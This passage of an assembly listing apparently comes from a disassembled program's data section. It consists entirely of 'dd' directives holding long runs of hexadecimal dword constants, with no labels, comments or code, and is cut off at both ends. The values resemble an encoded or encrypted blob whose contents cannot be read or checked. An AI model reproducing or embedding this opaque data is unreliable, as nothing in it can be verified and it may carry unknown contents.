4676C890h, 58757B49h, 0E8806705h, 0C80175F0h, 4AA5BB66h dd 0E955A040h, 48A258CDh, 470BC10h, 8ECC8FB4h, 6C221082h dd 0B8A3053Ch, 8E950410h, 9BC00084h, 30E2F1B8h, 0DC9F4CEAh dd 6849910h, 4FA4D8CCh, 0D1B09960h, 0F11876h, 0CDA7D7D3h dd 8482F086h, 0ED4CE8E0h, 62770494h, 1CD14DD0h, 23026DDBh dd 76F80C44h, 0FC7AC000h, 0F0146454h, 1280B189h, 61F4418Ah dd 96F6B401h, 0C2F9A30h, 803D6423h, 5ED581B1h, 529711Fh dd 0D869FA2Ch, 2FA8955Fh, 552340h, 0A6351E67h, 6A03510Dh dd 0B4188C96h, 0EBDCFB81h, 0FBB10271h, 7788D805h, 2986B082h dd 109A68E1h, 502CA1ACh, 48538E11h, 4854D0ADh, 82578847h dd 0A0A92474h, 39A9F0h, 0EE1877D1h, 1C20CE00h, 518EF65Bh dd 7C244871h, 0E8AD0680h, 0B40B37BBh, 602A2D8h, 99717CE0h dd 186FD174h, 0F7AE06DCh, 0C0755089h, 3D241118h, 70C4F971h dd 0C78E129Ah, 48D4243Bh, 2DC00AF0h, 46F7B39Eh, 15B2230h dd 0A09E25B0h, 5059DEA8h, 84FD46D0h, 0AB09493Dh, 4759F4F3h dd 20F7AD18h, 4940B998h, 1A7E0176h, 8AB2CC07h, 56472EFh dd 1836DF53h, 40D0080Fh, 7F89A4Dh, 81F9169Fh, 0A828409Ch dd 0D6FC6D3Eh, 60F9B96Ch, 0CC6C40DDh, 53FAC84Ch, 3077E2C8h dd 0C63FEEC0h, 0CC358726h, 2D5056A0h, 0DD9031h, 0CF22565h dd 453F76Ch, 0C0116D26h, 0B380A011h, 0BFE42D31h, 1A008CA7h dd 52ED31ABh, 0DDFE1806h, 16E5A189h, 44F4C114h, 8C4FAC28h dd 88DD0407h, 7F700A6Fh, 0B846A0BBh, 0E4C428CCh, 28EB4CA2h dd 9B450E12h, 5A3B805Ch, 606DA229h, 0B7C65893h, 1E0A9F8Ch dd 0B86094D0h, 8375BA06h dd 0C2EF0220h, 0F2CA8C7Bh, 9E80E8A2h, 75448447h, 3E7E9060h dd 4F991B01h, 7FC3B614h, 68A22473h, 59F48C31h, 8EBA0C6Fh dd 2590BDC4h, 0B8A8048Ch, 62AD0413h, 0AB2872h, 974E4BB8h dd 2E00F268h, 6643828Eh, 0A8CEC928h, 159B0B8Ch, 0A04C7775h dd 4186C218h, 0A80088A4h, 509E5D6Eh, 1709994Eh, 2023125Eh dd 3EFC30E4h, 0FB3A3D16h, 5800021Ch, 76BD9AFh, 0BF4200F4h dd 8FB34C62h, 90E06468h, 4AAC085Ch, 0B7447C32h, 939100F0h dd 0CEE459A6h, 89F37C09h, 92A81365h, 17B1015Fh, 0FAE850F9h dd 721E8616h, 0ACAA1C0h, 0B705E6F4h, 4D1EB2Bh, 382080D0h dd 808954C4h, 0E5180058h, 0A3DFEA2Ah, 84010D03h, 0F979EFA9h dd 0E4202CD0h, 9774025h, 0F18A3C06h, 25705D33h, 9C21DEFCh dd 0EF19BB5Eh, 0E806287Ch, 5F7F7633h, 46115D1h, 3F09A86Fh dd 0FC617862h, 4C2040F4h, 564119EBh, 0C8C04C5Eh, 0B574E5FEh dd 7DF9BD02h, 8041C0F0h, 6A77AC94h, 0DC664DD8h, 0F1193C09h dd 4611EC1Dh, 12391180h, 0D7018C13h, 860553C5h, 80229B33h dd 4B3069F2h, 0CE4B7h, 667D096Ah, 29159589h, 581C5D78h dd 2300DE8h, 6396C5h, 0A45CCF0Ah, 0DA05D6A7h, 66CC0100h dd 2B5EF98Bh, 880F1ED8h, 6A32F378h, 3E85080h, 582043C3h dd 448990C3h, 81043324h, 21001D09h, 98C35040h, 333CC58h dd 0AA07CA65h, 56304C7Eh, 0B58B2706h, 0A02B63E1h, 3A8507B9h dd 172336h, 0F055E7EAh, 19319D31h, 0C1835424h, 1AC8284Bh dd 333A91C0h, 0F4CC58FBh, 5AE928h, 7483FFEh, 0D93BF638h dd 0E5860F15h, 6011068h, 0EB8C661Fh, 0BC27789Ch, 0FB3EBB00h dd 0BD241329h, 0BF660187h, 0C1F66CE6h, 0A2F63004h, 524698A6h dd 88C35A1Ch, 16C45489h, 0C3524240h, 0CB48AA62h, 0B3AD3711h dd 17E4DC1Eh, 9D0CFF9Fh, 10890C2Ah, 3232F18Dh, 33556E5Bh dd 89F1C3E3h, 881B186Ch, 0C31D5545h, 6E418A38h, 5FD3C473h dd 0A40ACE80h, 1F699D09h, 0C32B5CC6h, 3D56465Eh, 8929F25Eh dd 46406674h, 82C356h, 0B70F7EDEh, 8343DFFh, 22CD1CD0h dd 0FEBE0E10h, 0DB3C03E9h, 0FC10150Eh, 8B1C210Dh, 75BD86C0h dd 0C37A111Ah, 60E9D83Fh, 97F48D2Fh, 12CE8ACh, 0C7782ED0h dd 83097985h, 0C8555930h, 0D9B5B91Ch, 0E82A84FEh, 9A6B88h dd 796646C1h, 85892777h, 2833CD30h, 33BD815Fh, 0D00E03E5h dd 850F330Ah, 5364F152h, 0C8C35B61h, 448C5C89h, 5300431Ch dd 523873C3h, 0F2656Bh, 669444F8h, 0FF1EF3BEh, 60388550h dd 0C30181F6h, 0BD89410Ch, 18830B19h, 118E0F61h, 0E2E8533Dh dd 43E55A0Bh, 8B958088h, 747E0E22h, 0B54A5FFFh, 0E681002Ah dd 27F801BCh, 0B1202590h, 0A3E84811h, 0BA20DC80h, 44EBCF8Ah dd 903A82DCh, 1B11FF9Dh, 6E42AF80h, 0F012C472h, 0C304A965h dd 520A241Dh, 2C508B5h, 95080E24h, 8B5F0213h, 6CA0E9F1h dd 55DD3E45h, 9FAFDE02h, 40AC8C1Ch, 81152D0Ah, 2306DD0Fh dd 0D711311Eh, 151007E9h, 340DEA84h, 0CA379F90h, 6F5520FEh dd 57045014h, 0AB9B7353h, 94DAB81h, 5F616000h, 59B592C5h dd 1D3AA252h, 0E2001623h, 9531A161h, 2418502Dh, 5F398C57h dd 7C8911C3h, 478A1488h, 8B0FBA57h, 88CFC0FEh, 0C426EDBEh dd 1F08B9B0h, 0D921EE07h, 21B41156h, 0E0210271h, 0EB191871h dd 0DFFF6598h, 0F2BF0F09h, 0D23B10E9h, 21CF0085h, 1EF6ADE3h dd 1B00F5DDh, 2D9B9D97h, 1CE9BD0Ch, 68FFF866h, 8022E4C9h dd 0A0ADC18Bh, 9C9D1EE1h, 812BE434h, 1CEF3BEBh, 0D1A629A7h dd 69F1816h, 9D898367h, 8D185531h, 51AD3985h, 0B5011F60h dd 841CECD1h, 83175AB8h, 8BF09009h, 0AE0FBEDEh, 6B11EE6Dh dd 0D4D22F50h, 8C15B871h, 0E968B80Ch, 41150Ah, 0CA2C5F2Eh dd 2A7F61D8h, 0EBC86DB8h, 0C359C351h, 634C8991h, 5141805Ch dd 36E8C3h, 9A0FDEB5h, 27739F6Ch, 0EAFEAECAh, 0F0137560h dd 0DFF7009Ah, 0E270AD8Dh, 9806B35Bh, 0ACC8138h, 0D1339980h dd 5E1817h, 0BEAF645Dh, 6AB6944Dh, 0FDE7B5A0h, 6A09602Bh dd 7662358h, 6405607Ch, 0BFC130D7h, 0F60781BEh, 0C0835271h dd 11C11DDBh, 7788515h, 8014E008h, 6FDBBF29h, 581D5FBAh dd 7A801B2Dh, 0AA6E4A78h, 2C38EC2Fh, 99EBCF3h, 3C00B002h dd 5E572404h, 0EC136A58h, 38388C1Bh, 0B07802D6h, 6147E6EEh dd 223F7C7h, 0E73019E2h, 17DC381Eh, 2021A8ACh, 0C0E9776Fh dd 922FB20Bh, 4000B8EFh, 75329672h, 583DDAC9h, 9508241Bh dd 0BF240851h, 233C108h, 914C9D8Dh, 6480E589h, 0D3FF8607h dd 14D13A99h, 36985418h, 1085FE58h, 0E9252169h, 0BED99020h dd 31014258h, 10E50637h, 0E28B55F7h, 2FA66EE9h, 5DE02DE8h dd 0F1ED8112h, 5F6E3357h, 0B5FD8300h, 158D2953h, 0B632C41h dd 18B86C2h, 0A9523752h, 209D3B95h, 0E9601829h, 69FB5F13h dd 4FB10B00h, 145C9FEFh, 0D44600CFh, 0CBD3F0A2h, 8B183AB9h dd 0F3105E9h, 0C4250FACh, 0F883619Dh, 7186E381h, 270CE830h dd 0DED1FDh, 0F6BB3473h, 0A26F932Ch, 111C1594h, 0B5E1760h dd 966308DBh, 4B8037BBh, 0BD83FC00h, 9AFB51E2h, 30841C89h dd 1D91B39Fh, 69995480h, 91EE2E89h, 40906F06h, 0C425AFE9h dd 1631959Ah, 293DDC10h, 19D93A01h, 0F6050D18h, 0AB7C5FBEh dd 78EAA230h, 2BD7385Ah, 1295BD89h, 47692F24h, 1986B529h dd 6F879416h, 11770A52h, 0D710CE52h, 0DA00BD6Ah, 0A58F6DFh dd 1124D356h, 642C2260h, 4A8DDDC6h, 5C9740E8h, 6CA522B0h dd 400D4F2h, 0B7A1F999h, 48E5D647h, 65313D20h, 216159ABh dd 8F3F45CEh, 0C018885Ch, 8F5453AAh, 8A0FE114h, 0E7811F4Fh dd 4128C247h, 43FF2362h, 296098D9h, 81C95095h, 9B2B5C09h dd 61090820h, 1BDB8C66h, 0E06FC8E6h, 2AA40581h, 802BB22Eh dd 0F6A2EBF0h, 0A509C34Bh, 3D3F61h, 0B5419A22h, 2E00388Fh dd 0BE51E150h, 4B7B76F7h, 66A53075h, 702CC781h, 0BE04E3A8h dd 0E2D420E3h, 1C23EE3Ah, 0DDD3C205h, 122AA500h, 5DE927EDh dd 8B0E583Dh, 0B01B0F1h, 8B0FF9B5h, 2270E680h, 0C771E4C8h dd 631B445Bh, 53BC02DDh, 0B82D8FD0h, 37002B79h, 80986B67h dd 39E41DFDh, 0BA08047Ch, 1338222h, 0F5ED1A0h, 330CD8B6h dd 140585BDh, 0ADF9A4BAh, 7B74E01Fh, 3F3BACA9h, 0E85CD88Bh dd 0D9288C15h, 809CA31h, 5E8C1A7h, 2210860Dh, 1BF3259Bh dd 0E2F7C976h, 1B88584Bh, 0D8464BC0h, 3B2507EDh, 7B2B2070h dd 1611DF1Dh, 9583EB80h, 0E535B523h, 9B029912h, 6293797Ch dd 0FA6111B9h, 58BFDE40h, 0AF60FF28h, 0A898A69h, 639BE144h dd 77C780D3h, 87869935h, 16543A68h, 9346E5Eh, 0AB35E23h dd 1DE27C42h, 0EC5530h, 670B1B2h, 1CCDADD8h, 34236B0h dd 0FF7BF12h, 0E9648980h, 7B3A2530h, 80381C23h, 0CF70F089h dd 489550E2h, 0F911065Bh, 0F2487724h, 811662AAh, 613C0031h dd 7438830Fh, 0ECA85C02h, 0F5008C1Ch, 91666E8Eh, 50DED948h dd 5BBE1CBh, 29850965h, 13249525h, 8075DBAAh, 5559132Ch dd 9356E672h, 181559C6h, 0E8E525BCh, 5BEA30A0h, 20E39E3Bh dd 1312D400h, 51015F21h, 672745EBh, 0BC33C3F1h, 983015A2h dd 0D6F84966h, 1DBC035Ch, 5217008Ch, 0B4108C40h, 4412FC11h dd 83090198h, 91F23504h, 0AE48216h, 2329603Ah, 12F190FAh dd 3A58F78Bh, 182378h, 0BD03D24Ah, 8D1A291Ch, 0D2A00C39h dd 0FC4344D3h, 49A3B6h dd 3365EF04h, 1FC15C83h, 38C19ECh, 0F29A7DF8h, 50054207h dd 7F601BB0h, 0D2067DB4h, 0C0169B7Ah, 60BB5E27h, 6BE6484Ah dd 0C4F75D16h, 0BA6F9Ch, 299CF96Ah, 9E1EEDBDh, 3D9504F9h dd 9D881607h, 66F889A3h, 52204BCFh, 7E045h, 8A8BBDC0h dd 47405356h, 9B64C900h, 811A2F4Ah, 831309D6h, 6877E6Bh dd 10394BDh, 1855B589h, 625A696Dh, 6D296648h, 106CC746h dd 8773FFA9h, 0F5786B0Bh, 1316448h, 0D46F953Ch, 28C45185h dd 5EF5C4B7h, 24CF82C5h, 3CC01A88h, 2C228547h, 0A08517A8h dd 629EB4ACh, 403230D9h, 71C7F18Bh, 71949A85h, 7925241Bh dd 0CB00DE46h, 67C4F749h, 0BE8E0FAEh, 0C9BD4123h, 0A3464516h dd 0BE4CCAA7h, 1A467Eh, 87EE53A4h, 1AAF283Ch, 75A9B533h dd 2EA1A7D1h, 8E181671h, 0C04D8B2Ch, 0EE1EDFCAh, 966553D6h dd 17452E04h, 74A3900Ah, 0DD001846h, 0BCF94A75h, 1BC012E8h dd 9D09B89Eh, 0F01800EDh, 0B1B3A269h, 83053567h, 829AADFFh dd 8C0081F2h, 5C492EE3h, 0DC905E1Eh, 47A59678h, 0E16016C4h dd 0FBBCA8CDh, 417B15DCh, 6A014C84h, 2F68ABF0h, 0A2203388h dd 89CE3014h, 0FF098D26h, 0F11622ACh, 0DE02836Fh, 6DBD0B51h dd 0E6817D49h, 0D0C8E2F7h, 0E93D54F3h, 0F6B7170Fh, 0EE141D60h dd 1D760D5h, 57F985BDh, 10B163FCh, 0E3EE4B00h, 613768E7h dd 317F9060h, 894F2F55h, 46212A0Ch, 41842345h, 2C058Dh dd 0F79EE961h, 2488E3FFh, 74BB2BF5h, 0A034305Bh, 1A8854CBh dd 0B84127C0h, 20D918D2h, 54DB811h, 0F35AA4B6h, 0C215068h dd 3FA17101h, 8E885F5h, 8C55FCBCh, 92B88F2Dh, 56DD1900h dd 6CFF3C0Ch, 378F4A0Fh, 0D666AB22h, 19791EB9h, 41E69E18h dd 7DB03D04h, 0C2A0F98Bh, 1BB94B51h, 5C0569FEh, 0BB1B503h dd 98883617h, 7BFC10h, 52807D4Eh, 9E4778BEh, 0E95F6538h dd 610384A2h, 0D8F75A92h, 6FE9484Bh, 0F16BEE81h, 0D58F830h dd 2299CF00h, 0FF3692F4h, 603F01A6h, 904696EEh, 7397CA50h dd 0D6801A11h, 7A7137D2h, 8909EA71h, 90302D95h, 0BAC2E666h dd 0F38B37A5h, 0E7CEA008h, 435A5D4Ch, 0F160FA32h, 0ED92074Fh dd 0D252A0A7h, 130B5F7Bh, 6661F502h, 90FCE406h, 73D2270h dd 0BFD3FF01h, 5CBA1B49h, 9BD7F168h, 89E58186h, 2974FD9Dh dd 7D22DE9h, 0F27C0196h, 833A615Fh, 6D001523h, 1858935h dd 0D8FFB41Dh, 21BB0154h, 16F2FD8h, 1BD3808Eh, 7C6CBE85h dd 25ED104Dh, 0C1328B3Bh, 8D2E977h, 7E523D0Eh, 4E064024h dd 7964E322h, 99950BA5h, 13665148h, 14441FA7h, 17DAB062h dd 1B407A45h, 59F22DEh, 686BD83h, 3215B461h, 3F68188h dd 750C596Fh, 6F858CE9h, 72C23041h, 989B8BF7h, 4152D5Ch dd 143FC528h, 0BF024E01h, 52E9174Dh, 1BE42AE7h, 71E68060h dd 75F47B05h, 3626ADDBh, 0BD3D9726h, 87708B0Eh, 0E2C0FFB3h dd 907AC146h, 47EE829Bh, 601DC465h, 63C403h, 4C4F9870h dd 0F81FC84Eh, 8069CDB4h, 8509F75Eh, 3C0C41B9h, 0F08A56C8h dd 102B8614h, 241121BDh, 811DF57h, 63C9AC00h, 0BB864767h dd 5E715FF6h, 914FEBB4h, 8C804E76h, 0E79AB139h, 0F7E0CD9Eh dd 305099CEh, 58C95260h, 614DA8B4h, 0BD0559D4h, 10290FCCh dd 1A33A5BDh, 6043E2E9h, 0A2B0F8FEh, 0A9FD82C5h, 0E25E0517h dd 309100E0h, 71A4461Fh, 0E5F97829h, 0F2FBFCh, 0B30BA3BEh dd 70E6CAC8h, 1744B1A7h, 0FC829460h, 0C28CAF69h, 70C17B61h dd 0C212303Eh, 0DB01FDE7h, 572438AAh, 4D2E66Ch, 0F61F55D2h dd 0B8C74857h, 3E008C1Bh, 0E5252F5Bh, 2D5A1EBDh, 0D21A06BAh dd 8ACEE501h, 2FC3DDE3h, 0B300296Eh, 0DFD4D92Eh, 3C4F3A80h dd 90BF3203h, 0F8B1BCB0h, 123D19E9h, 1AA83490h, 365F018Ch dd 0BA5731E2h, 0C52B31F7h, 2FEB389Bh, 0F683108Ch, 0C6BC00ACh dd 53BF936Ah, 661C6B6Dh, 0E1A55650h, 0FBF65E1Eh, 63297062h dd 0C02D071Dh, 87E425h, 0E409C1E7h, 37C44795h, 901C2310h dd 5A2A2910h, 3E6B1775h, 69D55F04h, 971B35Dh, 191B870Fh dd 0CC1415DCh, 79034D46h, 240E290Ch, 0C1E6D84Eh, 0BAFF1F1Ah dd 14A712CFh, 2B0688A8h, 562819B5h, 467677B6h, 149B0018h dd 0F4616BCh, 2D1BDC8Eh, 1FDED23h, 89F22h, 26E52CDh, 0DC47DD90h dd 93C7592h, 330C2FB5h, 5282F276h, 0BE66098Ah, 5A0EA2DDh dd 0AA8AEFA1h, 413C2523h, 243CF00Ch, 8B4A0F35h, 3DF2F252h dd 0D3BF7103h, 0D088AC28h, 5D4FB523h, 4DD8424Bh, 624CC18Fh dd 392CF4D0h, 7750740Ah, 0BA8039C4h, 44A22034h, 58912476h dd 9DF605BCh, 6E4BA4D0h, 111E9F9Fh, 0D7C48119h, 0CFC9A665h dd 8B856B68h, 3668A1F1h, 9105F061h, 1433006Dh, 680EA5B4h dd 849CE9F8h, 0DAD78380h, 23877Bh, 45C9766Ch, 82A4192Bh dd 460867F0h, 8F0BE93Ch, 0E8205B27h, 0C5FEF7B3h, 26678C16h dd 16EF8D93h, 845F5127h, 596B6Ah, 0ECDDBF1Bh, 13AF277Ah dd 4AC9D2Eh, 559A6h, 10DBD681h, 22115A85h, 529AE71h, 7599FEECh dd 95F02866h, 0DC1EDBFEh, 0A206D922h, 44681C54h, 0C50EBF05h dd 0A01966CFh, 1A8E7DABh, 9531275Bh, 1E4128CAh, 2BB582F5h dd 448F0FC3h, 9D291385h, 3D31F199h, 234A8D98h, 70B89B69h dd 0B07BBD0Ch, 40517E0Bh, 215AE916h, 69C0359Eh, 8B6DEF4Dh dd 7641C05Ah, 18359D89h, 904A1929h, 52B1B787h, 95017B09h dd 0C0AFC955h, 0FE9E141h, 85A1F529h, 3777AF2Bh, 0FF700059h dd 0ED7D1D30h, 0B649F816h, 99F5548Ch, 5CAF48E0h, 0A0131546h dd 728AE7AFh, 0F172165Fh, 2052D990h, 0D49F0489h, 0C014D235h dd 0E202CF1Ah, 7FB4909Fh, 949A0127h, 96CB4AEFh, 171E6A19h dd 0ED9BDC52h, 0B8576384h, 5BC4806Eh, 31400Dh, 0BB8CB9A5h dd 2D2EFFEEh, 633A6100h, 0EB5459BEh, 5F5E2414h, 12CB3E4Dh dd 0E1F3F6C9h, 5268230Bh, 3C1EC780h, 36094691h, 0C1B9B589h dd 0F972E84Dh, 0D992E900h, 99EBB860h, 0FA77D607h, 0B710E36Fh dd 473F4C9h, 0B58B69EAh, 31FBF025h, 579601ECh, 0BD4F5F1Dh dd 4DF65319h, 1CABB400h, 0FC8E73D8h, 4DB40B9Fh, 3994C056h dd 0B5604Ch, 0E94EDF1Ch, 8D8B1261h, 0F41B23Dh, 89715BF7h dd 0FB4181F8h, 123E65E9h, 815CDBD4h, 826A2BA0h, 16BAAC4h dd 896FE0DDh, 2293985h, 8465D101h, 0A10699Dh, 0D508B360h dd 0C7B91220h, 3FB02953h, 0ED20958Bh, 8D210B1Ch, 1752337Dh dd 900BC520h, 52074476h, 0C1D8E2C1h, 32965AAAh, 7611A13Dh dd 0CCEAE003h, 0CEA41025h, 0BDBA0947h, 0C1A702CDh, 478B0514h dd 0E0E0814Bh, 837FDC2Bh, 1601E126h, 35530B11h, 0EDFE2F25h dd 0CFB5610Ah, 0D4A6A5B5h, 0B0D7A9E0h, 0A62938A9h, 0F4C31Ch dd 0B2584EDCh, 5E297CA5h, 0F8920530h, 4E614202h, 3A76E60h dd 0A2F54A19h, 3FD9E147h, 0F05A141h, 6E2BFD5Dh, 4A8D0AB4h dd 0A515F6E1h, 0BF6E5BCAh, 0B884F302h, 2240423Fh, 836244C8h dd 9122DA8h, 910007F1h, 7DF2A8D7h, 1EBC00DCh, 0FD023D8Bh dd 6909BD7Eh, 5027B5h, 7CB8666Fh, 9E5869F7h, 1CE4F067h dd 2541AA60h, 0FD82C700h, 80D473FEh, 43A90CEh, 0CDF359DAh dd 2426847Fh, 0B8DCA982h, 20D74AF8h, 29E2BE99h, 0A62E3472h dd 8B082BB1h, 11B48902h, 2A2B3A19h, 1D23603Eh, 0C1F56300h dd 902948Fh, 0CA961A2Eh, 130DF102h, 9F05D80Dh, 7DE47Bh dd 0DF86F39Ah, 3535702h, 5319D25h, 64485BFBh, 8727BB13h dd 23519E49h, 764B00DDh, 52051E6Eh, 0B688905Ah, 0F700DCC6h dd 0BC46E715h, 17B061A8h, 208D0FB5h, 6FB1BBD9h, 8E327524h dd 43CCB762h, 4B26B23h, 8FC0D4EDh, 2ECC645Ch, 3874939Fh dd 5AC81FA0h, 16ACA679h, 14D7B5C1h, 4B318F39h, 0B801E16Ah dd 74762138h, 890C8677h, 43890DBDh, 93C14A8Bh, 3D52B768h dd 0F6805E25h, 6E65C537h, 0F94B1624h, 23DAD4EBh, 0FB86476Eh dd 350BE24h, 2E8C30Bh, 9013A561h, 0B924859Bh, 1817F1D4h dd 28DA1F12h, 0A4D6C1ADh, 0AE0A55DEh, 10AF5256h, 1E05B714h dd 0CF9EECE1h, 94CE110Bh, 326BF120h, 7D0504F8h, 8B72300Eh dd 82F54A4Bh, 99DC5CCFh, 7B3F23A1h, 430F00ABh, 7BC23C41h dd 6ED16D8Bh, 0E85C69ACh, 727951h, 0C5E0D3B7h, 66045D3Eh dd 5AA98B78h, 6D30AF28h, 4112E017h, 0A612FBFDh, 47D23h dd 0FE101861h, 80CD9B5Ah, 606A9178h, 0B66C0263h, 85C7FC70h dd 0B2A1155Bh, 5C181AD1h, 0D1BF7F02h, 41B0EA28h, 527AFDD3h dd 7F6FFCh, 0FD1C3EA2h, 3520168h, 0ACF08160h, 2B905977h dd 33634DBDh, 9907EB61h, 0F3C2E99Dh, 3F0D8D9h, 0BDD8527h dd 70045B2Ah, 0C12F8B8Ch, 0C05D4D60h, 52A7F016h, 1AB97000h dd 517720EBh, 1DBD3C33h, 8B5E9661h, 0A22A23C0h, 802D311Ch dd 71D985A0h, 96977F44h, 0E7224713h, 8A33109Bh, 3B009E4Eh dd 88DD8373h, 1C43DADh, 148FCF5h, 8E02F18Dh, 92BD838Bh dd 751E4B5Ch, 32912B1h, 50197410h, 9B25369h, 894EE09Ah dd 10AD2D85h, 0AA61C2C8h, 0FF0A5F76h, 22585BD3h, 201017C4h dd 60A7F4F7h, 0FBA0BE66h, 0D0F0B736h, 0B2D0F9B5h, 8C1CE8E1h dd 0B5C83400h, 1B1AE5B0h, 0DE3D48A2h, 29D64E4Fh, 0CD90F5CBh dd 0BDB507C3h, 0C05B1EC4h, 5FF71A49h, 0F73F1BFh, 0B58BF009h dd 530C209h, 0D0524995h, 0C500436Fh, 0F0C11C42h, 71989BB8h dd 676CE8EAh, 0C5CF10B9h, 0A4174166h, 0A6067E1Eh, 53E81F5Eh dd 0B70F1029h, 8F7134FAh, 87B8A9FDh, 0F101754Eh, 23E8F911h dd 5CFC6199h, 2E86650Dh, 2000066Eh, 3AA1322Ah, 3402E7A3h dd 0C1BD0B5Fh, 0CB8A0022h, 0E859F88Bh, 289B5EB0h, 0D288DCC0h dd 0B51489C9h, 89D3263Dh, 3A66AA2Dh, 3CB600DEh, 6C910249h dd 0E648535Ch, 12AD1003h, 4D2BE827h, 1A70D053h, 0BEF7213h dd 0BB694B92h, 2A159F02h, 1BF15E8Eh, 2F695BE8h, 67889516h dd 0AF00DE94h, 604C873Eh, 5D84BB66h, 9944EAF2h, 25E83561h dd 0CB42086Dh, 8924490Ch, 3E048B17h, 88A9F381h, 6E76D0E3h dd 610C0B82h, 2841393Ch, 0CB2A217Ah, 8412C816h, 41A6F91Fh dd 0D2DB6481h, 0E8F8F04Ah, 3B055BE5h, 19142324h, 231077D1h dd 3018E287h, 8A2E9BA4h, 8D06EFC6h, 2DFF1F61h, 0F33D0598h dd 0E7D11D3Eh, 4E5F68Eh, 0BBF856B1h, 0F1CDB064h, 0E86E2E7Bh dd 135AAC00h, 9B96CD2Fh, 0D99D891Ah, 29914051h, 38C1C805h dd 8124F9A0h, 365340Bh, 7719060Ah, 532F211Ah, 64F87069h dd 65139809h, 252326EAh, 13FBC89h, 0EFE8D92Fh, 0F47A3E04h dd 0A094A50Eh, 9A1E7D43h, 60DD610h, 0A718C984h, 55A2A0C5h dd 0B93B078Dh, 0A0F2C851h, 21D9E9BFh, 0B3F9AB0h, 0AD03CEB5h dd 4C8BE85Fh, 627A91C9h, 1EA180B0h, 8D2B5700h, 181A9A35h dd 2F74E85Eh, 0F2E4F78Bh, 9529C580h, 6742266Fh, 8DCDCAAh dd 0B01C2515h, 42587D2Bh, 981502CEh, 2AF19529h, 0C9927E7Ch dd 3C2306E1h, 0DE3114A2h, 5ABD9D30h, 0C1FC481Eh, 81B390AFh dd 8D1202CEh, 0C38B5B04h, 3EDCC3DCh, 65002799h, 5772B3F5h dd 0D7A101C5h, 42AC0530h, 81E2DB5Bh, 3EC07292h, 2E3888D0h dd 120DAA91h, 0B2CE1F9h, 0C3178857h, 0D8A94788h, 31FCCA2Bh dd 72B59DC2h, 0CF99EA4Ch, 3365930Dh, 87E6E850h, 2B001F9Ah dd 5DF68Ah, 0F3FC06CCh, 935EE9C0h, 0D078569Bh, 0EDF13FBEh dd 71B5EB0Bh, 9980CF1Bh, 0C612FA3Ch, 57A7BA58h, 80129A4Bh dd 0C578DB1Ah, 6B221246h, 5D860E95h, 0F861E8D2h, 92048C15h dd 8D9589C7h, 0EC7454F8h, 1BBD21h, 8D9D1AFAh, 8A811711h dd 70AEC132h, 28457534h, 728804F9h, 462D2335h, 0F976A07Ah dd 0C45A207h, 0C51A37DCh, 530B6512h, 56090423h, 41CB9E9h dd 0A8D81B68h, 63B89F0h, 0B2DCCB88h, 452E4C59h, 7F6FB19h dd 8D2960F0h, 27493AC1h, 38CEC7EDh, 56B9BFh, 816DB707h dd 17B4F7F1h, 75AA1D66h, 79EB9BE7h, 85AA8552h, 0A4F41899h dd 61214005h, 2B02B8D3h, 90CFE4D7h, 0ABF58DA4h, 2D62CF8Fh dd 1DC19122h, 6E7B7775h, 0A55D1C09h, 4A14B981h, 7EAC2E62h dd 9A01DE34h, 6C7455D3h, 0B9A6FBB1h, 4CBB24D9h, 0A6B29ACh dd 70DB730Ch, 667FBBC4h, 0CE9FD32Eh, 56500611h, 0FB1A5285h dd 0BB21BF03h, 8759184Eh, 1FA0BC44h, 833BC974h, 0FE8B67A9h dd 0D489C22Ah, 0F87092BBh, 632F0089h, 983F4EEDh, 15229531h dd 0F41A5125h, 0BD695A62h, 88C0E1CDh, 9540D27h, 0D63E1C11h dd 29E54482h, 31BAC493h, 0F4CA5Ch, 0DE0512F2h, 0F0D45C5Fh dd 89E4D525h, 9779F2h, 0CA4C0B3Eh, 0C70EECF8h, 808E2C23h dd 2E645665h, 5EED2C4h, 350B7126h, 9D86B77h, 10830F16h dd 208D2307h, 0E9272F85h, 6067EFBDh, 424814C7h, 0E3DEC103h dd 5E271E80h, 14406E4Ah, 24C0B6A8h, 376983E9h, 0F4199E76h dd 0F22DA63Fh, 0CFF7C120h, 5E497A60h, 6D195F23h, 0DA009EB7h dd 89EF6937h, 0F2F85864h, 8A45454Fh, 9986FC5h, 2530AB9h dd 0D318618Ah, 254D256Bh, 34DCF541h, 9613C964h, 29698828h dd 852BD27h, 0C8441311h, 1120426Bh, 0F94A769h, 5B8C14E8h dd 0CE6EC2h, 257EB556h, 2752B6CEh, 732B860Fh, 0E1078D59h dd 56F0C57Ch, 289AB96Bh, 0B78A1F76h, 50F95718h, 845D09B5h dd 0B287ED63h, 82994CDh, 930CA3B8h, 40FB8B14h, 11BD2F0Bh dd 0E9583044h, 44858130h, 5DF26121h, 19641910h, 1720AF00h dd 0D6C09A3Bh, 6C051698h, 1B56F15Bh, 7E6EC095h, 0BA9128h dd 0BB664961h, 0F500165h, 2A028022h, 0BE83AFB3h, 0F100DC67h dd 8735290h, 4F9D2BC0h, 0BF032009h, 3835ADC7h, 41B60E03h dd 8F0F5FE0h, 0EFF9197h, 0D4A80B80h, 0CA1BC29Ch, 0F7247D02h dd 0C2134EB9h, 6B98DCF1h, 0A5719ED3h, 388A82D0h, 0C5DB8DD9h dd 0F03BA6A6h, 1B9CEFEh, 97DECD67h, 0CF0FDF8Bh, 0FF272370h dd 7F737D1h, 2EFE6CCBh, 81237DA4h, 50971E2h, 8793D9E0h dd 0AC601CE4h, 100525Eh, 77271214h, 2A9D8B95h, 73AB3065h dd 0FDB52C02h, 509084D1h, 8023EC52h, 68A0988Bh, 0D00C00CAh dd 4FFB044Eh, 0EE058489h, 5B564472h, 3831ED0Dh, 61600883h dd 47A585Ah, 3B58B6EEh, 4C73ED7h, 31BD3390h, 0C98F21AEh dd 787A2A14h, 0B4EBE50Eh, 975975C0h, 0F00B4BBBh, 0D10EE3E9h dd 214E625Ch, 0D4FDD412h, 0D1930E00h, 0BD2B3C94h, 0BD5DE6A1h dd 0A9848237h, 77C8E838h, 0EA2200BFh, 4C9D8E62h, 303DFDB4h dd 0F54D898Bh, 0DC3A890Bh, 8240AFB6h, 604E8AE2h, 1C231A3Ah dd 69961B00h, 1C2536D8h, 80A966F6h, 8341EB81h, 0B54ABD8Bh dd 0DFA0FC17h, 4125450Bh, 3326451Bh, 14072084h, 0B535FF64h dd 0D41FF58Fh, 0C84F0825h, 1A00FD23h, 0B7ED6243h, 2FC39C23h dd 5B6CD6ADh, 19AD70EFh, 3F98Ah, 103B8546h, 6D00B04Dh dd 0BDCEBA1Ch, 0FC7B39h, 0E9B2D496h, 0B5FF5B2Eh, 0A4B12DBEh dd 35220391h, 0E90D8531h, 